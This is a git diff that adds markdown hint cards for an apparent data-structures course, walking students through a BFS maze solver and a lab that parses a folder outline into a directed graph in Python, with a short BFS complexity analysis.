--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/3.md
@@ -0,0 +1,35 @@
+
+
+
+
+
+
+Spaces in the maze are represented with " . ". When a space (" . ") is read then the function
+`getAdjacentSpaces()` should get all neighbors of that space in a given maze. Each space will have four neighbors. These neighbors can either be walls or paths. Paths will be marked as visited or not visited. Initially, all the paths will be marked not visited.
+
+The function `getAdjacentSpaces()` should return a list of neighbors that have not been visited. Neighbors in this case mean the possible paths one can go in the maze.
+
+**Parameters of `getAdjacentSpaces()`**
+
+
+
+
+The function will take in 3 parameters which are:
+
+* `maze` - This is the 2D array maze.
+
+* `space` - This is a `tuple` which will contain the coordinates of the current space that we are searching on; we want to find the available adjacent spaces around this coordinate.
+
+* `visited` - This is a `list` of all the spaces we have visited. We will use this `list` to check whether a neighbor can be found `in` this list. If so, it means that the neighbor has already been visited and thus will not be a valid neighbor. We need to check if a neighbor has been visited or not because we do not want to process again the spaces which we have visited. Revisiting visited spaces creates an endless cycle of searching.
+
+
+Our function should simply try to look at the surrounding spaces and see whether the spaces around it are valid neighbors. We could do our search in a well-defined clockwise order, beginning from the neighbor in the North, East, South, and West respectively.
+
+Again, the available neighbors should have these two conditions:
+* It is not a wall [ * ].
+* It has not been visited.
+
+**Important Note**:
+The output of the program should check the directions in the order mentioned above (N,E,S,W); make sure that it does this when you submit the code.
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/31.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/31.md
new file mode 100644
index 00000000..b49f3202
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/31.md
@@ -0,0 +1,22 @@
+
+
+
+
+
+**Step 1: Visualizing The Maze**
+
+To help you visualize what the maze will look like as a 2D array, consult the following image:
+
+
+
+**Step 2: Recognizing Coordinate Points As Tuples**
+
+As you can see, elements of a 2D array can be represented by coordinate points. For example, in this image, the coordinate point (2,2) refers to element C2 in the array. These coordinate points can be represented as tuples in Python.
+
+**Step 3: Generating A List Of Neighbors**
+
+In order to return a list of non-visited neighbors, we first need to generate all neighbors. Each space will only have four neighbors in the north, south, west, and east directions. Keep track of a list of coordinates (tuples) that are their neighbors in a list.
+
+**Hint:** Think of how we can find the index of neighbors in relation to the index of the space.
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/311.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/311.md
new file mode 100644
index 00000000..9a8bd42b
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/311.md
@@ -0,0 +1,56 @@
+
+
+
+
+
+
+### Spaces
+
+##### Step 1: Coordinate Pairs
+
+Spaces are represented by coordinates of the 2-D maze. Coordinates in two dimensions have a horizontal and a vertical component. In our case, we are going to store the row and column components as part of a **pair**. This keyword is critical in deciding which variable to use and how we select **tuples**. Tuples are sequences that store different fields as one object, which is invaluable for our purposes.
+
+##### Step 2: Finding Adjacent Spaces
+
+Given a space `space`, we can find the row of the `space` with `space[0]` (since the first part of the pair of coordinates represents the row) and column of the `space` with `space[1]`. These indices correlate to vertical and horizontal movements, as in north, east, south, and west. Following this logic:
+
+* The space to the north would be represented as `(space[0] - 1, space[1])`, since the column stays the same, but the row moves up one. We subtract one since the index of the row above would be one less than the current row.
+* The space to the south would be represented as `(space[0] + 1, space[1])`, since the column stays the same and the row moves down one, shown by the addition of one.
+* The space to the west would be represented as `(space[0], space[1] - 1)`. Here, we remain in the same row, but move one column space left by subtracting one.
+* The space to the east would be represented as `(space[0], space[1] + 1)`. Finally, to move right, we move the column space by adding one, and the row remains unchanged.
+
+### Code in Python
+
+##### Step 1: Create List `spaces`
+
+We have to create our list of spaces. We can use a Python **list** structure because we will be adding multiple space elements to the list. Remember that `spaces` are tuples; it is okay to have a list of tuples:
+
+```python
+spaces = list()
+```
+
+##### Step 2: Append Directions
+
+When appending directions, we simply copy the code we had written in step 2 of the previous section and append the space. Here is how we would append north:
+
+```python
+spaces.append((space[0]-1, space[1])) # Up
+```
+
+In a similar manner we can append the space to the south:
+
+```python
+spaces.append((space[0]+1, space[1])) # Down
+```
+
+And to the left:
+
+```python
+spaces.append((space[0], space[1]-1)) # Left
+```
+
+And to the right:
+
+```python
+spaces.append((space[0], space[1]+1)) # Right
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/32.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/32.md
new file mode 100644
index 00000000..0a5494ac
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/32.md
@@ -0,0 +1,23 @@
+
+
+
+
+
+**Step 1: Check If Each Neighbor Has Been Visited**
+
+Now that we have a list of neighboring spaces, we have to check if each of them have been visited or not. We must do this because if a neighboring space has already been visited, then we don't want our BFS to process it again.
+
+
+
+(Allowing the BFS to process the same node twice in the above example could result in node K never being processed.)
+
+**Step 2: Creating A List Of Non-Visited Neighbors**
+
+Initialize another list to be the **non-visited** neighbors.
+
+For each neighboring space, if the neighboring space is not a wall and has not been visited yet, then add this neighbor to the list of non-visited neighbors.
+
+Remember that asterisks (*) represent walls in the maze.
+
+Then, return this list.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/321.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/321.md
new file mode 100644
index 00000000..f8216236
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/321.md
@@ -0,0 +1,31 @@
+
+
+
+
+
+
+##### Step 1: Setup
+
+We'll keep track of a list `final` to store the final neighbors to be returned.
+
+We then iterate through the list of neighboring spaces.
+
+```
+final = list()
+for i in spaces:
+```
+
+##### Step 2: Check for Walls
+
+We first check if the space is a wall by indexing the maze at the given coordinates `i[0]` and `i[1]` and see if that character is equal to `'*'`.
+
+##### Step 3: Check if Visited
+
+We must also check if the space `i` has been visited already. We can do this by using a list called `visited` and adding all visited spaces to it as we encounter them. If a space hasn't been visited, we append the neighbor to `final`.
+
+```python
+# for loop above
+ if maze[i[0]][i[1]] != '*' and i not in visited:
+ final.append(i)
+ return final
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/4.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/4.md
new file mode 100644
index 00000000..4310bb42
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/4.md
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+Please reference the starter code for details on `BFS()` and how it is used in `main()`.
+
+For the final part of our code, implement a BFS search algorithm for this problem that views all the paths until the shortest path is found.
+
+- Keep in mind that you will have to do some code maneuvering in the first iteration of your while-loop because tuples are an `immutable` data structure in Python (i.e., tuples cannot be changed after being created).
+- Take a second to think about which coordinate pair the search should start on.
+
+
+
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/41.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/41.md
new file mode 100644
index 00000000..550c2d2c
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/41.md
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+**Step 1: Initializing Data Structures**
+
+To begin, what data structures will you need to initialize for BFS? Remember, a BFS is a "breadth-first search," which means every space surrounding the current space should be searched before any other spaces in the maze. There are two data structures we need: one for keeping track of the coordinates to be searched and one for the coordinates already visited.
+
+Reminder: You can generate the available neighboring spaces with the `getAdjacentSpaces()` method. This will be useful to determine which coordinates to search for in each iteration.
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/411.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/411.md
new file mode 100644
index 00000000..33f30c3b
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/411.md
@@ -0,0 +1,42 @@
+
+
+
+
+
+
+**Step 1: Initializing Data Structures Code**
+
+Here is the entire BFS pseudocode for your reference (this will be available on every Easy card):
+
+```pseudocode
+initialize a queue Q with start # this section covers this line
+initialize a set V tracking visited spaces # this section covers this line
+
+ while Q is not empty:
+ path = Q.pop()
+ last = last node in path
+
+ if last == end
+ return path
+ else if last is not in V
+ for all spaces adjacent to last but not in V do
+ newPath = array(path)
+ newPath.append(adjacentSpace)
+ add newPath to the queue
+ V.add(last)
+ return null
+```
+
+We use a queue to keep track of the paths that will be searched. This queue is always initialized with just the start coordinates as our starting point. A queue is a "first in first out" data structure— whatever space we put in the queue, we are guaranteed it will be considered before the addition of any other spaces. This is useful for our algorithm to make sure it does not get ahead of itself and respects the breath-first rule.
+
+Then, we use a set to keep track of the already-visited coordinates - if a set of coordinates has already been visited, we've already looked at their neighbors; there's no need to go back to them! We also use a set because we don't care about the order of the visited coordinates.
+
+## Code in Python
+
+```python
+queue = [start]
+visited = set()
+```
+
+Note that the `queue` is initialized with the starting coordinate and `visited` is empty because no spaces have yet been visited. The algorithm is now ready to be run.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/42.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/42.md
new file mode 100644
index 00000000..2d10f023
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/42.md
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+**Step 1: Find the First Path and Storing Coordinates**
+
+The BFS algorithm must begin with the start coordinates given.
+
+Additionally, one of data structures will store a growing list of paths to be taken. During each iteration, you will remove the first path from the list and store its last coordinates. You will need the last coordinate to know if you've reached the end coordinate or to grow your path by analyzing its neighbors.
+
+Store the first path, find its last coordinate, and store that last coordinate for further querying.
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/421.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/421.md
new file mode 100644
index 00000000..66375af2
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/421.md
@@ -0,0 +1,53 @@
+
+
+
+
+
+
+**Step 1: Find the First Path and Storing Coordinates Code**
+
+Here is the entire BFS pseudocode for your reference (this will be available on every Easy card):
+
+```pseudocode
+initialize a queue Q with start
+initialize a set V tracking visited spaces
+
+ while Q is not empty: # this section covers this line
+ path = Q.pop()
+ last = last node in path # to this line
+
+ if last == end
+ return path
+ else if last is not in V
+ for all spaces adjacent to last but not in V do
+ newPath = array(path)
+ newPath.append(adjacentSpace)
+ add newPath to the queue
+ V.add(last)
+ return null
+```
+
+We always want to get the first path from our queue and use it for this iteration, but not for future iterations. We will use the `pop()` method to simultaneously get the first path for this iteration and remove it from the queue.
+
+The path variable holds our current known shortest path. Eventually, we will `pop` a path from the queue and discover that the path's last element is the `end` coordinate; at this moment, we can return this shortest path.
+
+### Technicality with Tuples
+
+On the very first iteration, the queue only consists of starting coordinates (row, col). If the starting coordinates are `(4, 7)`, the queue would be `[(4, 7)]`. If we pop the first element from the queue, then what returns would be a tuple of coordinates (in this case, just the tuple `(4, 7)`). But, because the rest of the BFS algorithm depends on the path being a list of coordinates, we have to give special treatment in this case. So, we check if the first path in the queue just consists of the start coordinates. If so, we make the start tuple a list in order to conform with the rest of the algorithm. This will only occur on the very first iteration when the first path consists of just one tuple (the start coordinates). Otherwise, the program proceeds as normal, popping the first path in the list.
+
+With the given path, we also get the last coordinates of the path using negative indexing: `path[-1]`.
+
+## Code in Python
+
+```python
+while len(queue) != 0:
+ if queue[0] == start:
+ path = [queue.pop(0)] # Required due to a quirk with tuples in Python
+ else:
+ path = queue.pop(0)
+ last = path[-1]
+```
+Here, we can see that the `last` variable holds the last coordinate of the current path reached.
+This `last` coordinate signifies that we got this far! But, we have not yet found the path to the end. So, we take this `last` tuple and continue our search from it until we eventually find that our `last` tuple is the end coordinates.
+
+We see here that the while-loop will terminate once our queue size reach 0. Remember that the queue holds a collection of paths that we want to check, once the size of the queue reaches 0, it means there are no more paths that we want to check.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/43.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/43.md
new file mode 100644
index 00000000..309e47ec
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/43.md
@@ -0,0 +1,14 @@
+
+
+
+
+
+
+**Step 1: Check the Last Coordinate**
+
+Check if the last coordinate is indeed the end coordinate, and return the current path if that is the case.
+
+Otherwise, check if the last coordinate has already been "visited." If that is not the case, find all neighbors of the last coordinate. Then, for each neighbor, add them to the current path and append that path to your data structure containing all the paths to be searched.
+
+Add the last coordinate to your data structure containing all the visited coordinates.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/431.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/431.md
new file mode 100644
index 00000000..f7e6b895
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/431.md
@@ -0,0 +1,72 @@
+
+
+
+
+
+
+**Step 1: Check Last Coordinate Code**
+
+Here is the code continued from previous parts:
+
+```python
+while len(queue) != 0:
+ # ... rest of while loop code
+
+ else:
+ # next 2 lines from last hint
+ path = queue.pop(0)
+ last = path[-1]
+```
+
+
+
+We first do a simple quality check to see if the last coordinates are indeed the end coordinates. If that is the case, then our current path is indeed one of the shortest possible paths. Then, we return the current path.
+
+```python
+ if last == end:
+ return path
+```
+
+
+
+Then, we check if the last coordinate has already been visited ( i.e., if `last` is in our set `visited`).
+
+```python
+ elif last not in visited:
+```
+
+
+
+If we have not visited the last coordinate in this path yet, we iterate through all its neighbors. For each neighbor, we append them to the existing path and add it to the queue. The method `getAdjacentSpaces()` allows us to very simply iterate through all the neighbors. Finally, we add the last coordinate to the data structure containing all the visited coordinates.
+
+```python
+ for adjacentSpace in getAdjacentSpaces(maze, last, visited):
+ # iterate through neighbors
+ newPath = list(path) # to use append function
+ newPath.append(adjacentSpace)
+ queue.append(newPath)
+ visited.add(last) # add last coordinate to visited
+return None
+```
+Let's see what the `newPath` variable is doing. We first copy the current `path` variable into `newPath`. Afterwards, we append the newly found `adjacentSpace` into this `newPath` variable. From doing this, we have actually created a new path that we'd like to traverse in the next iteration. Therefore, we would want to add this `newPath` for processing by adding it to the `queue`.
+
+## Code in Python
+
+```python
+while len(queue) != 0:
+ # ... rest of while loop code
+
+ else:
+ # next 2 lines from last hint
+ path = queue.pop(0)
+ last = path[-1]
+ if last == end:
+ return path
+ elif last not in visited:
+ for adjacentSpace in getAdjacentSpaces(maze, last, visited): # iterate through neighbors
+ newPath = list(path) # to use append function
+ newPath.append(adjacentSpace)
+ queue.append(newPath)
+ visited.add(last) # add last coordinate to visited
+return None
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/5-Checkpoint.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/5-Checkpoint.md
new file mode 100644
index 00000000..dab3cf19
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/5-Checkpoint.md
@@ -0,0 +1,7 @@
+### Checkpoint
+
+Name: BFS Time Complexity
+
+Instruction: Can you answer why the complexity of looping through the neighbors of the nodes in the graph is O(E) instead of O(N^2) ?
+
+Type: Short Answer
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/5.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/5.md
new file mode 100644
index 00000000..be675c75
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/5.md
@@ -0,0 +1,60 @@
+# Time and Space Analysis of Breath First Search
+
+In this section, we will perform an analysis of the runtime and space complexity of the BFS search.
+
+## Time Complexity of BFS
+
+We can perform an analysis of the BFS search by removing all unnecessary details of implementation and focus on what BFS is doing at its core. This helps get a higher level overview of the BFS.
+
+There are three things that define the time complexity of BFS:
+
+* In the beginning, we had to create a list to track of visited nodes. This will take O(n) runtime.
+
+
+* Also, since we will be visiting each node in the graph, there will be at most O(n) queue and dequeue operations, which each have a cost of O(1). Therefore, this step is also O(n).
+
+
+* For every node we visit, we have to iterate through all its neighbors. At first glance, this seems to be O(n^2) because we looped through all the neighbors of the nodes. This may be right, but O(n^2) is too big of an upper bound. We can find a tighter upper bound for this.
+
+We see that for every node we will have to check its neighbors. The number of edges (neighbors) that a node has is called the degree of that node.
+
+*Let us denote the degree of node i to Di* .
+
+We see that the total number of iterations we have to perform is the sum of all the degrees of each nodes. The total number of iterations is *D0 + D1 + D2 + ... Dn*. What does this number add up to? It equals to 2|E|, where E is the number of edges in the graph. This is proven by the [*Handshaking lemma*](https://en.wikipedia.org/wiki/Handshaking_lemma).
+
+Therefore, the complexity of looping through the nodes and its neighbors is actually O(2E) = O(E) rather than O(N^2).
+
+Finally, our runtime is O(E + N); E is the number of edges and N is the number of nodes.
+
+## Space (Auxiliary) Complexity
+
+For this, we just need an additional O(N) space to store our visited nodes array. So, our space auxiliary complexity is O(N).
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-1-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-1-1.md
new file mode 100644
index 00000000..a9ae40eb
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-1-1.md
@@ -0,0 +1,56 @@
+
+
+
+
+
+
+# Steps
+
+## 1-1-1 Step 1
+
+### name
+
+```
+**Step 1: Understand the folder structure**
+```
+
+### md_content
+
+```
+Let's break down the folder structure. In our actual problem, all of the folders will have an associated name, but for now, we are focusing on understanding how the folder **numbers** relate to one another.
+* `0` is the root folder
+* `01` , `02`, and `03` are all children of the root folder. This can be seen by the **directed** edge starting from the root, going towards `01`, `02`, and `03` respectively.
+* `011` , `012`, and `013` are all children of the `01` folder. This can be seen by the **directed** edge starting from `01`, going towards `011`, `012`, and `013` respectively.
+
+Look at the numbering scheme. Do you notice anything interesting?
+```
+
+### image
+
+
+
+## 1-1-1 Step 2
+
+### name
+
+```
+**Step 2: Notice the parent/child relationship pattern**
+```
+
+### md_content
+
+```
+You should notice that you can obtain the parent folder number directly from the child folder number itself!
+
+* `01`, `02` , and `03` have the root folder (`0`) as its parent, because its first digit is `0`.
+* `011`, `012` , and `013` have folder `01` as its parent, because its first **two** digits are `01`.
+
+Everything except the last digit of a folder tells you the parent folder number!
+
+Check your understanding. Make sure you can answer the following question before moving for:
+
+* What is the number of the parent folder of folder `0121`? Note that this folder is **NOT** in the diagram.
+
+
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-1.md
new file mode 100644
index 00000000..81fbcf1e
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-1.md
@@ -0,0 +1,38 @@
+
+
+
+
+
+
+# Steps
+
+## 1-1 Step 1
+
+### Name
+
+```
+**Step 1: Have a conceptual understanding of directed graphs**
+```
+
+### md_content
+
+```
+As per the activity, directed graphs are represented through their node and edges. Within a file system, each file or folder is a node and each "parent" folder has an edge connecting it to its child folder/file.
+```
+
+## 1-1 Step 2
+
+### Name
+
+```
+**Step 2: Understand how to find a parent/child relationship from structural numbers**
+```
+
+### md_content
+
+```
+The parent/child relationship can be found through reading and performing some manipulations on the "structural" number provided. The entire number is mapped to the name of the folder on its right, but the first few numbers correlate to the parent folders.
+
+Make sure to understand the hierarchy of the folders before moving on.
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-2-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-2-1.md
new file mode 100644
index 00000000..3b30e1e2
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-2-1.md
@@ -0,0 +1,52 @@
+
+
+
+
+
+
+# Steps
+
+## 1-2-1 Step 1
+
+### name
+
+```
+**Step 1: Open the file and read the contents**
+```
+
+### md_content
+
+```
+Let's focus on reading in the file.
+
+We have to open and read the file line by line in order to read every folder and its associated number:
+```
+
+### code_snippet
+
+```python
+readFile = open("textOutline.txt", "r")
+for line in readFile:
+```
+
+## 1-2-1 Step 2
+
+### name
+
+```
+**Step 2: Separate the names from the numbers**
+```
+
+### md_content
+
+```
+To separate the names from the numbers, we would have to split the line between them. In order to do that, we can use the built-in `split()` function. We pass in the string `"."` into `split()` because our folder number and name are separated by a period. However, that still leaves an extra space before the name! For example, if our current line was `0. Friends` and we did `line.split(".")`, we'd split the line into `0` and `_Friends`, where `_` represents a space before the `F` in `Friends`. We will use the `strip()` function on the folder name to remove this issue. Store these two parts in a list named `dirAndVal` as seen here:
+```
+
+### code_snippet
+
+```python
+ dirAndVal = line.split(".")
+ dirAndVal[1] = dirAndVal[1].strip()
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-2-2.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-2-2.md
new file mode 100644
index 00000000..d0192da9
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-2-2.md
@@ -0,0 +1,89 @@
+
+
+
+
+
+
+# Steps
+
+## 1-2-2 Step 1
+
+### name
+
+```
+**Step 1: Store the edges of the directed graph**
+```
+
+### md_content
+
+```
+Now that we have isolated the folder numbers, we will have to figure out how to organize our edges, maintaining our numbering hierarchy.
+
+To find and store the edges for later use, we can slice the structural number string down everything but the last character. Notice how this newly sliced string is the structural number string of the current folder's parent. We are going to represent each individual edge as a tuple and edges as a list. Here we make one edge, store it as a tuple, and add it to the list:
+```
+
+### code_snippet
+
+```python
+ aTuple = (dirAndVal[0][:-1], dirAndVal[0])
+ edges.append(aTuple)
+```
+
+### md_content
+
+```
+The first parameter of `aTuple` is the structural number of the the current folder's parent and the second parameter is the structural number of the current folder itself. `aTuple` represents an edge from parent to child.
+```
+
+## 1-2-2 Step 2
+
+### name
+
+```
+**Step 2: Handle edge cases**
+```
+
+### md_content
+
+```
+Remember to check to check your **edge cases**!
+```
+
+### code_snippet
+
+```python
+ if (dirAndVal[0] != "0"):
+```
+
+### md_content
+
+```
+Why is the above good for handling an edge case? What is that edge case? I'll give you a hint: its purpose lies in the following line.
+```
+
+### code_snippet
+
+```python
+aTuple = (dirAndVal[0][:-1], dirAndVal[0])
+```
+
+### md_content
+
+```
+Here, we are forming a tuple whose first element represents a parent and whose second element represents its child. We do this by extracting the last number in the structural number in order to clearly see the parent number. For example, the following shows how to store the edge from the parent of `dirAndVal[0] = 0123` to `0123` itself.
+
+* `dirAndVal[0][:-1]` would return `012`, the parent structural number
+* `dirAndVal[0]` would return `0123`, the child structural number
+
+`aTuple` would then be `(012, 0123)`.
+
+Now, once again, let's return to why our edge case check is necessary. If we are processing the root, (represented by `0`)
+
+* `dirAndVal[0][:-1]` would return nothing
+* `dirAndVal[0]` would return `0`
+
+Our `aTuple` would be confusing, as the first element would be empty! Thus, since the root is a special exception (it has no parent), we do not want to create an `aTuple` where `0` is the child (second parameter of `aTuple`) structural number.
+```
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-2.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-2.md
new file mode 100644
index 00000000..e7a34a30
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-2.md
@@ -0,0 +1,33 @@
+
+
+
+
+
+
+# steps
+
+## 1-2 Step 1
+
+### name
+
+```
+**Step 1: Read in the file using Python**
+```
+
+## 1-2 Step 2
+
+### name
+
+```
+**Step 2: Organize the numbers of each of the folders while maintaining the correct graph hierarchy.**
+```
+
+### md_content
+
+```
+Here are a few hints:
+
+* When you are reading in each line from the file, you will have to seperate the folder number from the folder's name.
+* A tuple will be useful in organizing the numbers read in from the file into appropriate edges.
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-3-1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-3-1.md
new file mode 100644
index 00000000..ff58e1fc
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-3-1.md
@@ -0,0 +1,46 @@
+
+
+
+
+
+
+# Steps
+
+## 1-3-1 Step 1
+
+### name
+
+```
+**Map the structural number to the folder name **
+```
+
+### md_content
+
+```
+Recall that we split each line that we read in:
+```
+
+### code_snippet
+
+```python
+ dirAndVal = line.split(".")
+ dirAndVal[1] = dirAndVal[1].strip()
+```
+
+### md_content
+
+```
+This means that `dirAndVal[0]` stores the structural number and `dirAndVal[1]` stores the folder name. We can simply make a dictionary (`val_map`) out of this:
+```
+
+### code_snippet
+
+```python
+val_map[dirAndVal[0]] = dirAndVal[1]
+```
+
+### md_content
+
+```
+When you have finished reading the file, you will have made a list of edges and a dictionary of every node and its corresponding name.
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-3-2.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-3-2.md
new file mode 100644
index 00000000..24a24a6f
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-3-2.md
@@ -0,0 +1,69 @@
+
+
+
+
+
+
+# steps
+
+## 1-3-2 Step 1
+
+### name
+
+```
+**Step 1: Define `main()`**
+```
+
+### md_content
+
+```
+Depending on the nature of your program, you may not find it necessary to modularize your functions. You can feasibly do everything from a singular function. The one function you should have is the `main()` function.
+
+You can define the `main()` function like so:
+```
+
+### code_snippet
+
+```python
+def main():
+```
+
+## 1-3-2 Step 2
+
+### name
+
+```
+**Step 2: `readFile` function in `main()`**
+```
+
+### md_content
+
+```
+From there, you can run all your parsing code or write a separate function just for file parsing. In this setting, it is not necessary to modularize the code since we are only running the parser once. But for practice, we are going to write a separate function:
+```
+
+### code_snippet
+
+```python
+def readFile():
+```
+
+### md_content
+
+```
+We are going to pass in an empty list of edges and map of values that we want to fill with information from the file:
+```
+
+### code_snippet
+
+```python
+def readFile(edges, val_map):
+```
+
+### md_content
+
+```
+The rest of the code written for parsing will be inside the indented block of the method header.
+
+You will make a choice for the rest of the functions you write. You can write them in the `main` function or you create a separate function for them.
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-3.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-3.md
new file mode 100644
index 00000000..4dab456b
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Cards/1-3.md
@@ -0,0 +1,44 @@
+
+
+
+
+
+
+# Steps
+
+## 1-3 Step 1
+
+### name
+
+```
+**Step 1: Understand how to store information in a graph node conceptually**
+```
+
+### md_content
+
+```
+So far, we have only focused on understanding the numbering scheme of the folders. How will we account for the fact that each number has an associated name? How will we store this information when reading the file?
+
+We can store the names of each of these files as the **value** of a node, each **node** being the unique structural number associated with each name. Recall in the activity that we can map the values to the nodes after defining the edges.
+
+Assume that you will never have to add edges to undefined nodes.
+```
+
+## 1-3 Step 2
+
+### name
+
+```
